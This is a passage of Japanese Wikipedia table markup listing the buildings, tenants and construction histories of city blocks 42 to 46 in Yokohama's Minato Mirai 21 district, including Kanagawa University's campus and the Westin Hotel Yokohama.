* [[kino cinéma 横浜みなとみらい|kino cinéma (キノシネマ) 横浜みなとみらい]]([[ミニシアター]]、TSUTAYAの<!--かつてレンタル事業を行っていた-->2階部分<ref name="hamarepo180614">[https://hamarepo.com/story.php?story_id=6776 みなとみらいの「TSUTAYA」がなくなる!? レンタルに代わるサービスとは・・・?](はまれぽ.com 2018年6月14日)</ref>に2019年4月12日開業)<ref name="hamarepo190226">[https://hamarepo.com/story.php?story_id=7116 みなとみらいに映画館「kino cinéma横浜みなとみらい」が誕生! 2019年4月12日オープン!](はまれぽ.com 2019年2月26日)</ref><ref name="kinocinema">[http://kinocinema.jp/ kino cinéma(キノシネマ) 公式サイト]</ref>
** [[キノフィルムズ]]([[木下グループ]])の関連会社であるkino cinéma(キノシネマ)が運営<!--<ref>[http://www.webdice.jp/topics/detail/5722/ 木下グループの映画館キノシネマ横浜・立川に開業](webDICE 2018年12月8日)</ref>-->
* [[診療所|クリニック]]モール
|2007年6月竣工
|-
|rowspan="2"|42街区
|colspan="2"|(北区画)[[リーフみなとみらい]]
(地上12階・地下4階、高さ約70m<ref name="mm-gaiku39-49"/>)
* [[NTTドコモ]]神奈川支店
* IDC[[大塚家具]](インテリアショールーム)(建物内4-12階)
|2002年4月着工<br />2004年4月開業
|-
|colspan="2"|(南区画)[[みなとみらいグランドセントラルタワー]](オフィスビル・低層部商業施設)<ref group="注">この場所には2006年10月まで、「MM Mid Square」マンションギャラリー(暫定施設)があった。</ref><br />(事業者:[[丸紅]]・[[三菱商事]]/施工:鹿島建設)<br />(建物の規模:地上26階・地下2階、高さ123.6m)
* オフィスエリア(3-25階)
** [[千代田化工建設]]グローバル本社(8-25階に入居)
** [[フォルクスワーゲン グループ ジャパン]]研究開発拠点(2020年4月開設)<ref name="nikkei191203">[https://www.nikkei.com/article/DGXMZO52915530T01C19A2L82000/ フォルクスワーゲン、横浜・みなとみらいに研究所](日本経済新聞 2019年12月3日)</ref>
* MMテラス(1-2階、飲食店街)
** [[サンマルクカフェ]]
** [[ファミリーマート|ファミマ!!]]
** [[エム・エイチ・グループ|モッズ・ヘア]](美容サロン)
** [[Youth Theatre Japan|Youth Theatre Japan (YTJ)]] みなとみらいスタジオ
|2009年1月着工<br />2011年9月<!--7月-->竣工<br />(2012年1月開業)
|-
|rowspan="2"|43街区
|colspan="2"|(北区画)[[神奈川大学]][[神奈川大学#みなとみらいキャンパス|みなとみらいキャンパス]]<ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20170412-027-25242.html みなとみらい21中央地区43街区の事業予定者が決定!]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20170412-027-25242.files/0002_20200728.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20220927232525/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20170412-027-25242.files/0002_20200728.pdf アーカイブ]〉}}(横浜市港湾局 平成29年 {{small|(2017年)}} 4月12日)</ref><ref name="kanagawau-mm-campus">[http://www.kanagawa-u.ac.jp/news/details_15004.html みなとみらいキャンパス(仮称)に関する記者発表が行われました](学校法人神奈川大学:お知らせ 2017年4月12日)</ref><ref name="kanagawa-u171202">[https://www.kanagawa-u.ac.jp/news/details_16850.html みなとみらいキャンパス開設と就学キャンパス等の計画について](学校法人神奈川大学:お知らせ 2017年12月2日⇒2018年5月28日更新)</ref><br />(施工:竹中工務店<ref name="decn180710">[https://www.decn.co.jp/?p=101086 神奈川大学/みなとみらいキャンパス新築(横浜市西区)/竹中工務店で10月着工](日刊建設工業新聞 2018年7月10日5面)</ref>)<br />(建物の規模:地上22階<ref name="decn180710"/>・地下1階、高さ98.85m<!--最高部高さ105.35m--><ref name="kanagawau-mm-campus"/><ref name="decn170413">[http://www.decn.co.jp/?p=90710 横浜市/MM21地区43街区進出事業者決定/神奈川大学、18年秋にキャンパス着工](日刊建設工業新聞 2017年4月13日4面)</ref><ref name="helicopter170413">[http://building-pc.cocolog-nifty.com/helicopter/2017/04/post-6e46.html 横浜みなとみらい21地区 「中央地区43街区」に「神奈川大学」が進出 地上21階、高さ約105mの新キャンパスを新設!](東京・大阪 都心上空ヘリコプター遊覧飛行 2017年4月13日)</ref>)<br />
建物は22階建て高層棟と3階建て低層棟の2棟からなり<ref name="decn180710"/>、以下のゾーンで構成される。
* 1-3階〈交流ゾーン〉:ワールド[[ビュッフェ]]([[多国籍料理]])や[[図書館]]<!--みなとみらい図書館-->、託児施設、[[多目的ホール]]などを設け、一般市民にも開放する(年間約10万人の来所者を想定)<ref name="kanagawau-mm-campus"/><ref name="kanaloco170413">[https://www.kanaloco.jp/news/life/entry-11278.html 神奈川大学、みなとみらいにキャンパス 21年新設](神奈川新聞{{small|〈カナロコ〉}} 2017年4月13日)</ref><ref name="tokyo-np170413">[http://www.tokyo-np.co.jp/article/kanagawa/list/201704/CK2017041302000164.html 神奈川大、みなとみらいに進出 2021年に学部新設](東京新聞 2017年4月13日)</ref><ref>[https://www.townnews.co.jp/0117/2017/04/20/378904.html 神奈川大 MMへ新キャンパス 2020年竣工、国際化の拠点に](タウンニュース{{small|〈神奈川区版〉}} 2017年4月20日号)</ref>。
* 6-20階〈教育・研究ゾーン〉:[[教室|講義室]]や[[研究室]]など[[大学]]の関係施設が入る(最大約5,000人の[[在籍者 (学習者)|学生]]を想定)<ref name="kanagawau-mm-campus"/><ref name="kanaloco170413"/>。
** 外国語学部(横浜キャンパス)や経営学部<!--国際経営学科-->(湘南ひらつかキャンパス<!--、国際経営学部への改称を検討--><ref name="kanagawa-u171202"/>)といった国際系の[[学部]]を集約<ref name="kanagawa-u171202"/><ref name="kanaloco170413"/><ref name="tokyo-np170413"/>。
** 外国語学部国際文化交流学科と日本常民文化研究所をベースとした「国際日本学部<!--国際文化日本学部{{small|(仮称)}}-->」を新設<ref name="kanagawa-u171202"/><ref name="decn170413"/><ref name="helicopter170413"/><ref name="kanaloco170413"/><ref name="tokyo-np170413"/>。
*: (横浜市と[[平塚市]]に分散している教育施設を、将来的には横浜市内の2つのキャンパスに集約することも検討<ref name="kanagawa-u171202"/><ref name="kanaloco170413"/>)
<!--なお、着工予定時期は当初2018年9月としていたが、神奈川大学では同年6月にも着工したい意向である<ref>[http://www.decn.co.jp/?p=98752 神奈川大学/みなとみらいキャンパス新築(横浜市西区)/6月にも着工へ](日刊建設工業新聞 2018年4月4日5面)</ref>。<br />-->
(将来的にみなとみらい大通り側{{small|〈PRYME GALLERY みなとみらいとの境界西端付近〉}}には、同道路を渡り44街区方面へのデッキを整備する計画がある<ref name="MM-info85"/><ref name="hamarepo190122"/><ref>{{PDFlink|[http://www.city.yokohama.lg.jp/kowan/business/koubo/boshuu/pdf/gaiyou-43-20161001.pdf.pdf みなとみらい21中央地区 43街区街区概要]}}(横浜市港湾局)</ref>)<br />
{{small|(過去:[[CSK (企業)|CSK]]が本社ビルの建設を予定していたが<ref name="yokohama-toshiseibi-MM43-CSK"/>、業績悪化を理由に中止<ref name="hamakei090214"/>)}}
|2018年10月着工<ref name="kanagawau-mm-campus"/><ref name="decn180710"/><br/>(起工式:同年7月30日実施<!--着工自体は9月〜10月頃を予定--><ref>[http://www.kanagawa-u.ac.jp/pressrelease/details_17197.html 無事安全を祈願。「みなとみらいキャンパス新築工事起工式」が執り行われました](学校法人神奈川大学:プレスリリース 2018年7月30日)</ref><ref>[https://www.kanaloco.jp/news/social/entry-34100.html 産学官連携の拠点に 神奈川大がみなとみらいキャンパス起工式](神奈川新聞{{small|〈カナロコ〉}} 2018年7月31日)</ref>)<br />2020年11月竣工<ref name="kanagawau-mm-campus"/><ref name="decn180710"/><ref>[https://www.kanagawa-u.ac.jp/100th_aniv/news/details_21062.html みなとみらいキャンパスが竣工しました](学校法人神奈川大学:お知らせ 2020年12月7日)</ref><br />(キャンパスは2021年4月開設<ref name="kanagawau-mm-campus"/><ref name="decn180710"/>)
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|colspan="2"|(南区画)[[PRYME GALLERY みなとみらい]](プライムギャラリーみなとみらい){{refnest|group="注"|当地ではモリモトによるオフィスビル「コンカードみなとみらい」<!--(延床約7万m{{sup|2}}、17階建て・高さ約85m)-->が2008年6月に着工していたが、同社の[[民事再生法|民事再生]]手続申し立て(同年11月)の影響で工事が中断され、事実上の開発中止となった。その後、岡田不動産が当地を取得し「2011年3月以降にモリモトの計画を引き継いだオフィスビルか、2階建て暫定商業施設を建設する」と発表した<ref name="morimoto-saikai"/>が、暫く建設が再開されることはなかった。2013年3月になって岡田不動産の関連会社である岡田ビルが当地で、商業地域の用途制限を超える鉄骨造2階建ての自動車修理工場(物品販売等店舗、車庫含む)の新築申請を横浜市に行い<ref name="kentsu130401"/>、同年6月に自動車のショールームおよび整備工場、物販店などを含む暫定商業施設(当施設)の着工に至った<ref name="kentsu130702">[http://www.kentsu.co.jp/webnews/html_top/130702400020.html みなとみらい43街区の商業施設 大成で着工](建通新聞{{small|〈電子版〉}} 2013年7月2日/神奈川)</ref>。}}<br />(事業者:岡田ビル/施工:[[大成建設]])
* 自動車ショールーム(1階)・サービス工場<ref name="nikkei140303"/><ref name="response140404"/>
** [[ポルシェ]]センターみなとみらい 認定中古車センター{{small|(ディーラー:インプロブ)}}<ref name="porsche-minatomirai_app"/>
*: サービス<!--整備-->工場も設置。元々は「ポルシェセンターみなとみらい」があった<ref name="response140306">[http://response.jp/article/2014/03/06/218598.html ポルシェセンターみなとみらい、4月4日に新規オープン](レスポンス 2014年3月6日)</ref>が、2022年5月20日にみなとみらい大通りを挟んで向かい側(44街区)の[[ウェスティンホテル横浜]]の1階に移転し、当ショールームは「認定中古車センター」に変更<ref name="carwatch220427"/><ref name="nikkei220427"/>。
** Minato-Mirai [[BMW]]{{small|(ディーラー:ウエインズインポートカーズ)}}<ref name="response140404"/><ref name="mm-bmw"/><ref name="response130928">[http://response.jp/article/2013/09/28/207381.html?utm_source=antenna BMW みなとみらい店、暫定ショールームを10月2日にオープン](レスポンス 2013年9月28日)</ref><!--<ref>[http://j-sen.jp/239977/y みなとみらい BMWのアルバイト/バイト求人情報](ジョブセンス)</ref>-->
** [[ミニ (BMW)|MINI]] みなとみらい{{small|(ディーラー:ウエインズインポートカーズ)}}<ref name="mm-mini"/><ref name="response140325">[http://response.jp/article/2014/03/25/219813.html MINI、事業拡大に積極姿勢…2014年に掲げる3つのポイント](レスポンス 2014年3月25日)</ref>
* [[AOKIホールディングス|AOKI]](1階)
* [[ニトリ]](2階)<ref name="kentsu130906">[http://www.kentsu.co.jp/webnews/html_top/130905400031.html みなとみらい43街区の商業施設 ポルシェ・ニトリなどが出店](建通新聞{{small|〈電子版〉}} 2013年9月6日/神奈川)</ref>
{{small|(過去:[[モリモト]]のオフィスビル「コンカードみなとみらい」(延床約7万m{{sup|2}}、17階建て・高さ約85m) が開発中止)}}
|2013年6月新規着工<br />2014年4月開業<br />''暫定施設''{{small|(10年間契約)}}<ref name="kanaloco130914"/><br />(元所有:UR都市機構)<br />(現所有:岡田不動産)
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|rowspan="2"|44街区
|colspan="2"|(北区画<!--2画地-->)エイトノットアンドカンパニーJVによる暮らし提案型暫定施設「LIVINGTOWN MIN2TOMIRAI<ref>[https://ltmm.jp/ LIVINGTOWN MIN2TOMIRAI]</ref><ref name="MM-info92">{{PDF|[https://www.ymm21.jp/upload/Information%20Vol92_WEB_J.pdf 「みなとみらい21 Information」 vol.92]〈[https://web.archive.org/web/20220525122608/https://www.ymm21.jp/upload/Information%20Vol92_WEB_J.pdf アーカイブ]〉}}(2021年3月発行 企画・発行元:横浜市都市整備局みなとみらい21推進課、横浜市港湾局管財第一課、一般社団法人横浜みなとみらい21)</ref>」<!--暫定利用終了後:'''UR都市機構が今後事業者を公募'''--><br />(旧[[アルカエフ]]の敷地{{small|〈約19,200m{{sup|2}}<ref name="MM-info85"/>〉}}のうち、北側約9,604m{{sup|2}})<ref name="toshi-kaihatsujokyozu"/><ref name="ur-mm21koubo"/><ref name="ur-mm44-2-201908"/><ref name="xtech-nikkei200220"/>
* 以前はUR都市機構により2018年度以降に土地譲渡方針と告知されていた<ref>[https://web.archive.org/web/20170815183229/http://business.ur-net.go.jp/support/detail_tochi.asp?kid=116158 事業用地:みなとみらい21中央44街区2画地](UR都市機構:URビジネス・サポート、[[ウェイバックマシン|Wayback Machine]]による2017年8月15日時点のアーカイブ)</ref>が、以下の通り土地賃貸方針に変更された。
* <!--2019年8月時点のUR都市機構による告知では、2019年度に-->UR都市機構は2020年2月〜3月に駐車場、商業・業務施設等(住宅不可)用途かつ土地賃貸(暫定土地利用/借地期間:2020年7月1日から10年間)として事業者の公募([[総合評価落札方式|総合評価方式]]による[[競争入札|入札]])を実施<ref name="ur-mm44-2-201908">[https://www.ur-net.go.jp/business/kanagawa/lrmhph000000pw0k.html 事業用地:みなとみらい21中央44街区2画地](UR都市機構:[https://www.ur-net.go.jp/business/ URビジネス・サポート]、''2019年8月13日閲覧{{small|〈[https://megalodon.jp/2019-0813-2239-40/https://www.ur-net.go.jp:443/business/kanagawa/lrmhph000000pw0k.html 同日付のウェブ魚拓キャッシュ]〉}}'')</ref><ref name="xtech-nikkei200220">[https://xtech.nikkei.com/kn/atcl/nfmnews/15/021806435/ 【募集】みなとみらい44街区の事業者を公募、UR](日経不動産マーケット情報 2020年2月20日、''2020年4月13日閲覧{{small|〈[https://web.archive.org/web/20200413153953/https://xtech.nikkei.com/kn/atcl/nfmnews/15/021806435/ 同日付のWayback Machineキャッシュ]〉}}'')</ref>。これにより、当区画の事業者(土地利用者)はエイトノットアンドカンパニー[[共同企業体|JV]]に決まった<ref name="kentsu200402">[https://www.kentsu.co.jp/webnews/html_top/200401400015.html エイトノットJVにMM21暫定土地利用者](建通新聞{{small|〈電子版〉}} 2020年4月2日/神奈川)</ref><ref group="注">エイトノットアンドカンパニーは[[三菱重工横浜ビル#隣接地における計画|三菱重工横浜ビルの隣接地(37街区北区画)]]で、2019年7月まで住宅展示場「横浜ホームコレクション」を運営していた。</ref>。
* 単なる[[住宅展示場]]ではなく、暮らし提案型の体験施設や子どもの遊び場、カフェなどを計画(企画:RAVE COMPANY)。
{{small|(過去:暫定施設「アルカエフ」のテナントとして[[ファミリーレストラン]]の[[ジョナサン (ファミリーレストラン)|ジョナサン]]などが運営されていた<!--2019年7月まで-->)}}
|''暫定施設''<ref name="ur-mm44-2-201908"/><!--2019年8月時点の公募方針--><br />(2020年7月1日から10年間の予定<ref name="xtech-nikkei200220"/>)<br />(所有:UR都市機構)
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|colspan="2"|(南区画<!--1画地-->)[[ウェスティンホテル横浜]]・長期滞在型ホテル「The Apartment Bay YOKOHAMA」等複合ビル開発<ref name="sekisui181130">{{PDFlink|[https://www.sekisuihouse.co.jp/company/topics/datail/__icsFiles/afieldfile/2018/11/30/20181130_1.pdf 自然志向・健康志向を体現する外資系ラグジュアリーホテル 「ウェスティンホテル横浜」2022 年春に開業]}}(積水ハウス株式会社、マリオット・インターナショナル 2018年11月30日)</ref><ref name="nikkei181130">[https://www.nikkei.com/article/DGXMZO38386500Q8A131C1L82000/ みなとみらいにウェスティン 積水ハウスと米マリオット](日本経済新聞 2018年11月30日)</ref><ref>[http://shinonome-ri.com/archives/1867 ウェスティンホテルが横浜みなとみらいに進出します](東雲総合研究所 2018年12月1日作成、2018年12月6日更新、2018年12月26日閲覧)</ref><br />〈みなとみらい44街区計画{{small|(仮称)}}/建物名:みなとみらい44街区ビル<ref>[https://www.mm21dhc.co.jp/news/44.html みなとみらい44街区ビルへの熱供給を開始しました]([[みなとみらい21熱供給]]株式会社 2022年3月1日/[https://www.mm21dhc.co.jp/owner/erea.php 供給エリア])</ref>〉<br />(事業者:[[積水ハウス]]/設計:[[日本設計]]、施工:竹中工務店<ref>[https://xtech.nikkei.com/atcl/nxt/column/18/00585/022700131/ みなとみらいで高級ホテルの競争が激化、「ウェスティンホテル横浜」5月開業](日経クロステック 2022年3月8日)</ref>)<br />(旧アルカエフの敷地のうち、南側約9,604m{{sup|2}}<ref name="kentsu161209">[http://www.kentsu.co.jp/webnews/view.asp?cd=161208400035&pub=1&su=1 MM21 積水ハウスが44街区9604㎡取得](建通新聞{{small|〈電子版〉}}2016年12月9日/神奈川)</ref>)
積水ハウスによる当地の複合ビル開発計画は、[[ウェスティン]]ブランドのホテルと長期滞在型ホテル「The Apartment Bay YOKOHAMA」(アパートメントベイ横浜)をメインとした以下の施設(2棟)から構成される。
<!--建物の規模は現地「建築計画のお知らせ」標識看板より(2019年2月時点)、なお当初の規模データは<ref name="sekisui181130"/>より-->
; ホテル棟
(建物の規模:地上23階・塔屋1階<!--当初:地上24階-->、高さ約100m/延床面積約63,600m{{sup|2}}<!--当初:約64,700m{{sup|2}}-->)
* ラグジュアリーホテル「ウェスティンホテル横浜」(373室〈13-22階〉<ref name="sekisuihouse220315">{{PDF|[https://www.sekisuihouse.co.jp/company/topics/library/2022/20220315/20220315_2.pdf 国内初導入、ヘブンリーベッドの次世代モデルをすべての客室に完備した新世代の「ウェルネス」ホテルが横浜・みなとみらいに登場 「ウェスティンホテル横浜」2022年5月20日開業 ~3月15日から宿泊予約受付を開始~]}}(積水ハウス株式会社、マリオット・インターナショナル、ケン・コーポレーショングループ 2022年3月15日)</ref>/運営:[[マリオット・インターナショナル]]/2022年6月13日開業<!--同年5月20日開業予定から延期-->{{refnest|group="注"|長期滞在型ホテル「The Apartment Bay YOKOHAMA」と同じく当初は2022年5月20日に開業予定だったが、追加の設備点検が必要となり延期された<ref name="traicy220516"/>。}})<ref name="traicy220516">[https://www.traicy.com/posts/20220516240424/ 「ウェスティンホテル横浜」、開業を延期 6月上旬以降に](TRAICY 2022年5月16日)</ref><ref>[https://www.marriott.co.jp/hotels/travel/tyowy-the-westin-yokohama/ ウェスティンホテル横浜](公式サイト)</ref>
** ロビーラウンジは最上階の23階に配置<ref name="sekisuihouse220315"/>。
* 長期滞在型ホテル「The Apartment Bay YOKOHAMA」(201室〈6-12階〉<ref name="sekisuihouse220315"/>/運営:[[ケン・コーポレーション]]/2022年5月20日開業)<ref>[https://www.atpress.ne.jp/news/293823 みなとみらいに30日以上の長期滞在型ホテル 「The Apartment Bay YOKOHAMA」が2022年5月下旬に オープン ウェスティンホテル横浜のルームサービスもご利用可能](ケン・コーポレーション グループ〈[[ソーシャルワイヤー|@Press]]〉 2022年1月18日)</ref><ref>[https://www.bayyokohama.jp/ The Apartment Bay YOKOHAMA](公式サイト)</ref>
* この他、レストランやバー、バンケット、スパ、フィットネス、商業施設なども併設。
* 1階には[[PRYME GALLERY みなとみらい]](43街区)より、「[[ポルシェ]]センターみなとみらい」{{small|(ディーラー:インプロブ)}}が2022年5月20日に移転<ref name="porsche-minatomirai"/><ref name="carwatch220427"/><ref name="nikkei220427"/>。
; 駐車場棟(タワーパーキング)
(建物の規模:地上1階、高さ約28m/延床面積約2,500m{{sup|2}})
* 駐車台数は247台<!--現地「建築計画のお知らせ」標識看板より(2019年2月時点)-->。
(将来的にペデストリアンデッキにより、38街区の[[ぴあアリーナMM]]方面(さらにはその先の[[桜木町駅]]方面)や47街区の[[村田製作所みなとみらいイノベーションセンター]]方面、43街区の[[神奈川大学]][[神奈川大学#みなとみらいキャンパス|みなとみらいキャンパス]]方面に接続する計画がある<ref name="MM-info85"/><ref name="hamarepo190122"/>)<br />
{{small|(UR都市機構が2016年12月9日に行った入札で積水ハウスが落札し土地を取得<ref name="kentsu161209"/>。1年後の2017年12月に土地の[[引渡し]]が実施された<ref name="ur161011">{{PDFlink|[http://www.ur-net.go.jp/toshisaisei/release/pdf/20161011_mm21_ur.pdf みなとみらい21中央地区(44 街区1画地)〔横浜市西区〕 土地譲受人募集について]〈[https://web.archive.org/web/20181227084816/https://www.ur-net.go.jp/toshisaisei/release/pdf/20161011_mm21_ur.pdf アーカイブ]〉}}(独立行政法人都市再生機構 2016年10月11日)</ref><ref>[https://www.nikkei.com/article/DGXLASFL02HD4_S8A500C1000000/ 積水ハウス、横浜3000坪の損得勘定](日本経済新聞{{small|〈電子版〉}} 2018年5月5日)</ref>)}}<br />
{{small|(過去:暫定施設「アルカエフ」のテナントとして[[ホームセンター]]の[[セキチュー]]などが運営されていた<!--2017年8月まで-->)}}
|2019年11月着工<ref name="sekisui181130"/><!--現地「建築計画のお知らせ」標識看板より(2019年8月時点)--><br />2022年2月竣工<ref name="MMAM-db44-westin">[https://www.ymm21.jp/database/detail/post-30.html ウェスティンホテル横浜 / The Apartment Bay YOKOHAMA〈44街区〉](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><!--現地「建築計画のお知らせ」標識看板より(2019年8月時点)--><br />(元所有:UR都市機構)
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|rowspan="2"|45街区
|colspan="2"|[[MUFG グローバルラーニングセンター]]<ref name="shinkenchiku-mufg">[https://data.shinkenchiku.online/articles/SK_2016_02_160-0 MUFGグローバルラーニングセンター]([[新建築]]データ)</ref><ref name="agorabrix-mufg">[https://www.agorabrix.co.jp/gallery/%EF%BD%8D%EF%BD%95%EF%BD%86%EF%BD%87%E3%82%B0%E3%83%AD%E3%83%BC%E3%83%90%E3%83%AB%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E3%82%BB%E3%83%B3%E3%82%BF%E3%83%BC 施工例:MUFGグローバルラーニングセンター](AGORABRIX 国代耐火工業所)</ref><ref name="kanagawa-architecture-concours59">[http://www.pref.kanagawa.jp/osirase/0721/kanagawa-architecture-concours/gallery/59/general.html 平成27年度入賞作品(第59回)一般建築物部門入賞作品]〈[https://web.archive.org/web/20200605170347/https://www.pref.kanagawa.jp/osirase/0721/kanagawa-architecture-concours/gallery/59/general.html アーカイブ]〉([http://www.pref.kanagawa.jp/osirase/0721/kanagawa-architecture-concours/index.html 神奈川建築コンクール])</ref><ref name="mm21-netsukyokyu-mufg-global">[http://www.mm21dhc.co.jp/news/MUFGGLOBALMM21DHC.html MUFGグローバルラーニングセンターへの供給を開始しました(供給開始日:2015年3月1日)]([[みなとみらい21熱供給]]株式会社)</ref><!--建物には「グローバルラーニングセンター」と表記されている(正式名称にMUFGが入らない場合は修正〈ただし記事を作成する場合、「グローバルラーニングセンター」は汎用的な言葉であるため、後述の施設使用企業に変更がないなら区別する意味で「MUFG」を付記するか曖昧さ回避の処置を行ったほうがよい〉、なお「[[みなとみらい21熱供給]]」の項でもMUFGを付けて記入している)--><br />(<!--土地所有・-->事業者:三菱地所/設計:三菱地所設計、施工:竹中工務店<ref name="shinkenchiku-mufg"/><ref name="agorabrix-mufg"/>)
* 講義室や宿泊施設(企業向け)などを設ける地上8階建て(高さ約42m)の研修施設<ref name="kanaloco130529"/><ref name="mm-gaiku39-49"/>。
** [[三菱UFJフィナンシャル・グループ]]が1,000人規模の研修施設を開設<!--<br />(開設時期については2016年〜2017年頃を目処とも報じられているが、詳細が分からないためコメントアウト)--><ref name="nikkei131008">[http://www.nikkei.com/article/DGXNZO60764520X01C13A0L72000/ 三菱UFJ、MM21に大型研修施設 1000人規模 宿泊機能](日本経済新聞{{small|〈電子版〉}} 2013年10月8日)</ref>。
** 建物は第59回神奈川建築コンクール(2015年度)の一般建築物部門で最優秀賞を受賞している<ref name="kanagawa-architecture-concours59"/>。
* グランモール公園沿いの1階には商業店舗も開設<ref name="kanaloco130529"/>。
** [[ドトールコーヒー]]<!--みなとみらいグランモール公園店(2015年2月オープン)-->
** [[ジャガー (自動車)|ジャガー]]・[[ランドローバー]]横浜(自動車ショールーム、ディーラー:ミッドランズ<!--〈旧ディーラー:[[新東洋企業]]〉-->)<ref name="jaguarlandrover-yokohama"/>
{{small|([[横浜ジャックモール]]跡地)}}
|2013年9月着工<!--「建築計画のお知らせ」標識看板:9月27日着工、情報によっては10月着工とも--><br />2015年2月竣工<br />(同年4月開業)
|-
|colspan="2"|上記区画外
* [[ファミリーマート]](コンビニ、''2020年9月閉店'')
|''暫定施設'' <ref name="toshi-kaihatsujokyozu"/>
|-
|rowspan="4"|46街区
|colspan="2"|(北西区画)[[横浜ブルーアベニュー]]<ref name="Blue-avenue" group="注">パシフィックホールディングス(旧パシフィックマネジメント)グループのオーク・デベロップメントによる開発で、当初の仮称はODビル、その後にパシフィックスクエア横浜みなとみらいに変更、さらに完成間際にパシフィックホールディングスが会社更生法を申請したことで、現在の名称に変更となった(詳細は「[[横浜ブルーアベニュー#完成までの経緯]]」を参照)。</ref>(オフィスビル・低層部商業施設)<br />
(事業者:オーク・デベロップメント/施工:[[長谷工コーポレーション]])<br />(地上17階・地下2階、高さ約85m<ref name="mm-gaiku39-49"/>)<br />
{{small|(過去:46街区内{{small|〈旧ジャックモール隣接地〉}}の特設会場で、2004年2月〜4月に「[[木下大サーカス]]」の横浜公演開催<ref name="kinoshita-yokohama2004"/>)}}
|2007年9月着工<br />2009年12月竣工
|-
|colspan="2"|(南西区画)[[横浜野村ビル]]<br />(事業者:[[野村不動産]]・[[野村総合研究所]]/施工:清水建設)<br />(建物の規模:地上17階、高さ89<!--.00-->m<ref>[http://bluestyle.livedoor.biz/tag/(%E4%BB%AE%E7%A7%B0)%E6%A8%AA%E6%B5%9C%E9%87%8E%E6%9D%91%E3%83%93%E3%83%AB%E8%A8%88%E7%94%BB 横浜野村ビル計画:高さ89m「横浜野村ビル」が竣工](超高層マンション・超高層ビル 2017年2月13日)</ref>{{Refnest|group="注"|当初は高さ約150mを予定していたが<ref name="yokohama-toshiseibi-MM46-nomura2007"/>、その後に約130m、約109mと縮小発表が続いた<ref name="MM-info85"/><ref name="yokohama-toshiseibi-MM46-100326"/><ref name="bluestyle141207">[http://bluestyle.livedoor.biz/archives/52313591.html (仮称)横浜野村ビル計画は地上17階、高さ89mで2015年3月着工](超高層マンション・超高層ビル 2014年12月7日)</ref><ref name="building-pc161013">[http://building-pc.cocolog-nifty.com/helicopter/2016/10/post-7a9f.html 横浜みなとみらい21地区 外観が完成したみなとみらいエリア最大級のオフィスビル「横浜野村ビル」](東京・大阪 都心上空ヘリコプター遊覧飛行 2016年10月13日)</ref>。最終的な高さは当初の計画より大幅に縮小され、89mとなっている<ref name="bluestyle141207"/><ref name="building-pc161013"/>。}})
* <!--オフィスフロアには-->野村総合研究所の横浜地区オフィス(横浜総合センター)が入居<!--市内の拠点などを集約--><ref name="nomura-fudosan150227">{{PDFlink|[http://www.nomura-re.co.jp/cfiles/news/n2015022700902.pdf ~コージェネレーションシステムの採用等により、高い BCP 性能を実現~ みなとみらいエリア最大級 『横浜野村ビル』着工]}}(野村不動産株式会社 2015年2月27日)</ref><ref name="zaikei-shinbun150302">[http://www.zaikei.co.jp/article/20150302/238092.html 野村不動産、みなとみらいでエリア最大級のオフィスビル「横浜野村ビル」を着工](財経新聞 2015年3月2日)</ref><ref>[http://www.nikkei.com/article/DGXMZO08719680U6A021C1XP0000/ 横浜のオフィス賃料、名古屋抜く 6年ぶり](日本経済新聞 2016年10月25日)</ref>。
* 1階・地上部にはフィットネス施設や飲食店、自動車ショールームなど商業テナント、保育所が入居<ref name="nomura-fudosan170213">{{PDFlink|[http://www.nomura-re.co.jp/cfiles/news/n2017021301227.pdf 国内最大級の基準階床面積 「横浜野村ビル」 竣工]}}(野村不動産株式会社 2017年2月13日)</ref><ref>[https://www.hamakei.com/headline/10028/ みなとみらい21地区46街区に「横浜野村ビル」が完成 国内最大級のオフィスビル](ヨコハマ経済新聞 2017年2月14日)</ref>。
** 女性専用フィットネス施設「[[メガロス|メガロスルフレ]] みなとみらい」(運営:野村不動産ライフ&スポーツ、2017年6月開業)<ref>[https://www.kanaloco.jp/news/economy/entry-12285.html 女性専用フィットネス、横浜MM21に](神奈川新聞{{small|〈カナロコ〉}} 2017年5月3日)</ref>
** [[ジープ]]横浜みなとみらい(自動車ショールーム、ディーラー:シリウス、2022年7月開業)<ref name="jeep-yokohama-minatomirai"/><ref name="car-watch220729"/>
** 同社の社員が利用できる事業所内保育所を開設(運営:テンプスタッフ・ウィッシュ、2017年6月開設)<ref>[https://www.nri.com/jp/news/2016/161031_1.aspx 横浜みなとみらい21地区に事業所内保育所を開設](株式会社野村総合研究所:ニュースリリース 2016年10月31日)</ref><br />(将来的にみなとみらい大通り側には、同道路を渡り47街区の[[村田製作所みなとみらいイノベーションセンター]]と接続するデッキを整備する計画がある{{small|〈ただし、横浜野村ビルとの接続は想定されていない〉}}<ref name="MM-info85"/><ref name="hamarepo190122"/>)
; <災害対策・環境性能><ref name="nomura-fudosan150227"/><ref name="zaikei-shinbun150302"/>
* 中間[[免震]]構造を採用している。
* 中圧ガスによるデュアルフューエル式非常用[[発電機]]および[[コージェネレーション]]システムを採用し、[[事業継続計画|BCP]]性能を高めている。
* 縦基調の外観デザインには自然換気フィンの機能を持たせており、外気を直接取り入れることにより中間期の空調負荷の低減を実現している。
* 雨水利用システムやエネルギーの見える化システムを採用。これらの環境性能により[[CASBEE]]のSランク取得を目指している。
; <着工までの動き>
: 当ビルの開発に向けた準備工事として、2014年9月1日より清水建設の施工で地中障害等の撤去工事に着手<ref>[http://www.kentsu.co.jp/webnews/html_top/140901400024.html MM21・46街区 開発に向け準備工事に着手](建通新聞{{small|〈電子版〉}} 2014年9月1日/神奈川)</ref>。その後、2015年3月より同社の施工で当ビルの本工事(建築工事)が着工している<ref name="nomura-fudosan150227"/><ref name="kentsu141110">[http://www.kentsu.co.jp/webnews/html_top/141110400020.html MM46街区横浜野村ビル 清水で3月着工](建通新聞{{small|〈電子版〉}} 2014年11月10日/神奈川)</ref>。
